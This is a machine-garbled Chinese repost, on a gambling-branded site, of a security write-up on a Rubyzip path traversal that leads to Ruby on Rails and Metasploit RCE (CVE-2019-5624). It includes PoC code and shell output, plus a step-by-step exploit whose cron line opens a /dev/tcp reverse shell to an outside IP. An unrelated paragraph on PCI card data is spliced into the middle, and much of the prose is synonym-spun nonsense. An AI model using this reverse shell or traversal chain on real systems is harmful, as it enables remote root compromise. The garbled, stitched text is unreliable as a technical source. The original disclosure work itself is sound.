Rubyzip库 途径遍历致使Ruby on Rails RCE | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Rubyzip库 途径遍历致使Ruby on Rails RCE

申博_安全预警 申博 111次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

媒介

在近来的一次项目中,我们有时机测试Ruby-on-Rails Web顺序,该顺序运用Rubyzip gem来处置惩罚zip文件。Zip文件现实上是触发多种破绽的绝佳进口点,比方途径遍历,标记链接文件掩盖进击等等。由于目的库封闭了标记链接处置惩罚顺序,因而我们着重于发掘途径遍历破绽。

这篇博文重要议论我们研讨的效果结论,这个“Bug”是从库自身的找到的。我们将会演示这个bug在一个盛行软件上的运用——Metasploit。

关于Rubyzip的一些破绽

Rubyzip库曾多次爆出经由过程歹意文件名而形成的途径遍历破绽(1,2)。个中2的代码修复(PR:#376)异常有意思,开发者运用了另一种分歧的处置惩罚要领。

# Extracts entry to file dest_path (defaults to @name).
# NB: The caller is responsible for making sure dest_path is safe, 
# if it is passed.
def extract(dest_path = nil, &block)
    if dest_path.nil? && !name_safe?
        puts "WARNING: skipped #{@name} as unsafe"
        return self
    end

[...]

个中的Entry#name_safe函数的界说以下:

# Is the name a relative path, free of `..` patterns that could lead to
# path traversal attacks? This does NOT handle symlinks; if the path
# contains symlinks, this check is NOT enough to guarantee safety.
def name_safe?
    cleanpath = Pathname.new(@name).cleanpath
    return false unless cleanpath.relative?
    root = ::File::SEPARATOR
    naive_expanded_path = ::File.join(root, cleanpath.to_s)
    cleanpath.expand_path(root).to_s == naive_expanded_path
end

从上面代码中能够发明,若是目的途径通报给Entry#extract函数,那末途径现实不会检测。往下翻阅,源代码中的一个解释也表示了用户的义务:

NB: 若是(途径)必需得通报,那末挪用者有须要确保目的途径是平安的。

虽然Entry#name_safe函数委曲能够防备住途径遍历进击(和绝对途径),但该函数只有它被挪用时没有照顾参数才会起作用。

为了考证这个bug,我们运用老(但很好用)的evilarc天生一个包罗Poc的ZIP文件,并且运用下面这段代码提掏出歹意文件:

require 'zip'

first_arg, *the_rest = ARGV

Zip::File.open(first_arg) do |zip_file|
  zip_file.each do |entry|
    puts "Extracting #{entry.name}"
    entry.extract(entry.name)
  end
end
$ ls /tmp/file.txt
ls: cannot access '/tmp/file.txt': No such file or directory
$ zipinfo absolutepath.zip 
Archive:  absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x  2.1 unx        0 bx stor 18-Jun-13 20:13 /tmp/
-rw-r--r--  2.1 unx        5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed:  -40.0%
$ ruby Rubyzip-poc.rb absolutepath.zip 
Extracting /tmp/
Extracting /tmp/file.txt
$ ls /tmp/file.txt
/tmp/file.txt

效果很明显,我们终究能够建立/tmp/file.txt,这考证了确实存在Bug。

正如上面这台客户端一样,大部分开发者都邑升级到Rubyzip 1.2.2,并且置信它充足平安,却没有现实相识该库是怎样事情的和代码的一些特别用法。

脆弱性

在我们的Web运用中,用户上传的zip文件经由下面这段(伪)代码解压的:

def unzip(input)
    uuid = get_uuid()
    # 0. create a 'Pathname' object with the new uuid
    parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}")

    Zip::File.open(input[:zip_file].to_io) do |zip_file|
        zip_file.each_with_index do |entry, index|
            # 1. check the file is not present
            next if File.file?(parent_directory + entry.name)
            # 2. extract the entry
            entry.extract(parent_directory + entry.name)
        end
    end
    Success
end

在#0项中,我们能够看到一个名为Pathname的对象被建立,然后在#2项中被套用为解压的目的途径。但是,对象字符串的加法运算并非像开发者想的那末简朴,而这将致使一些未知行动。

OK,我们先在IRB shell中简朴明白一下它的行动:

Gaining Access to Card Data Using the Windows Domain to Bypass Firewalls

简介 在存储、传输或处理信用卡数据的时候,必须要确保信用卡数据在网络中的安全性。根据PCI数据安全标准(PCI-DSS),持卡人数据可以通过内部网络发送,但是,如果您实现了网络分段的话,那么就容易处理多了,因为这意味着您不必让公司的整个网络都符合PCI的安全规定。通常的做法是,通过防火墙划出一个单独的网段,专门用来处理持卡人数据。 上面简要介绍了典型PCI设置的基础知识,下面,我们开始介绍真正有趣的东西。 像往常一样,这里已经修改了细节信息以保护客户的机密数据。该公司拥有一个非常庞大的网络,所有网络都在标准的10.0.

$ irb
irb(main):001:0> require 'pathname'              
=> true
irb(main):002:0> parent_directory = Pathname.new("/tmp/random_uuid/")
=> #<Pathname:/tmp/random_uuid/>
irb(main):003:0> entry_path = Pathname.new(parent_directory + File.dirname("../../path/traversal"))
=> #<Pathname:/path>
irb(main):004:0> destination_folder = Pathname.new(parent_directory + "../../path/traversal")
=> #<Pathname:/path/traversal>
irb(main):005:0> parent_directory + "../../path/traversal"
=> #<Pathname:/path/traversal>

由于Pathname../的处置惩罚,传给RubyzipEntry#extract函数的内容中不会包罗目次遍历的payload,该函数毛病地将其视为平安途径。并且后续Ruby gem也不会考证是不是平安,因而进击者不需要斟酌其他能够的毛病。

恣意文件写入到Ruby on Rails RCE

除一些一般的*nix和windows的特定要领(比方编写新的cronjob或自界说剧本)外,我们对怎样应用这个bug形成RoR (Ruby on Rails)有关运用的RCE异常感兴趣。

目的顺序运行在实在的消费情况,并且RoR classes是经由过程cache_classes直接进行初次缓存。我们没法注入加载恣意代码,由于写入文件必需重启ROR运用。

但是,我们在当地情况中进行了考证:连系拒绝服务破绽和和web运用全途径表露,使得web服务器重启,从而胜利应用ZIP文件处置惩罚的缺点完成RCE。

Ruby on Rails官方文档形貌以下:

在加载框架和运用中其他的gem和插件后,Rails将最先加载初始化设定。初始化设定是存储在/config/initializers下的恣意ruby文件。用户能够运用初始化设置来生存加载完一切框架和插件以后的设置装备摆设。

应用这个功用,经由受权的进击者能够写入歹意.rb文件到/config/initializers文件夹,并且会在web服务器重启后自动加载。

进击黑客——Metasploit RCE

我们经由客户的考证准予后,完毕了此次渗入测试,我们最先征采一些能够遭到Rubyzip bug影响的盛行软件。末了,我们挑选了Metasploit Framework。

检察顺序源码,我们敏捷认出几个Rubyzip库用于建立ZIP的源码文件。破绽源于extract函数,这让我想起了Metasploit许可从老版本的MSF或许其他实例中导入ZIP的功用。我们在zip.rb中找到了响应的代码块,该块代码卖力导入ZIP文件:

data.entries.each do |e|
      target = ::File.join(@import_filedata[:zip_tmp], e.name)
      data.extract(e,target)

关于这个Rubyzip的例子,我们建立一个包罗途径遍历payload的ZIP文件,然后将其嵌入到某个有用的MSF事情空间(一个包罗扫描输出效果的XML文件),从而能够猎取文件写入权限。由于解压缩是由root用户完成,因而我们经由过程以下几个步调能够轻松猎取最高权限长途代码实行:

  • 建立一个包罗以下内容的文件:* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"
  • 运用evilarc将途径遍历payload嵌入到ZIP文件中
  • 为ZIP文件增加一个有用的MSF事情区(使MSF提取它,不然ZIP存档不会被处置惩罚)
  • 设置两个监听端口:4444和4445(4445用于猎取反向shell)
  • 登入MSF运用背景
  • 建立新“项目”
  • 挑选“导入”,“挑选文件”,拔取歹意ZIP文件,点击“导入”按钮
  • 导入完成后,Getshell

进击演示视频:https://blog.doyensec.com/public/images/msf-zip-bug.mp4

小结

若是你正在运用Rubyzip库,请搜检你运用它的场景,并且为Entry#extract函数挪用增加对称号和目的途径分外的考证。

下面是分歧运用场景的小概述(Rubyzip v1.2.2之前):

Rubyzip库 途径遍历致使Ruby on Rails RCE

若是你正在运用Metasploit,请更新到最新版。我们异常期待CVE-2019-5624会出如今msf模块中。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Rubyzip库 途径遍历致使Ruby on Rails RCE
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址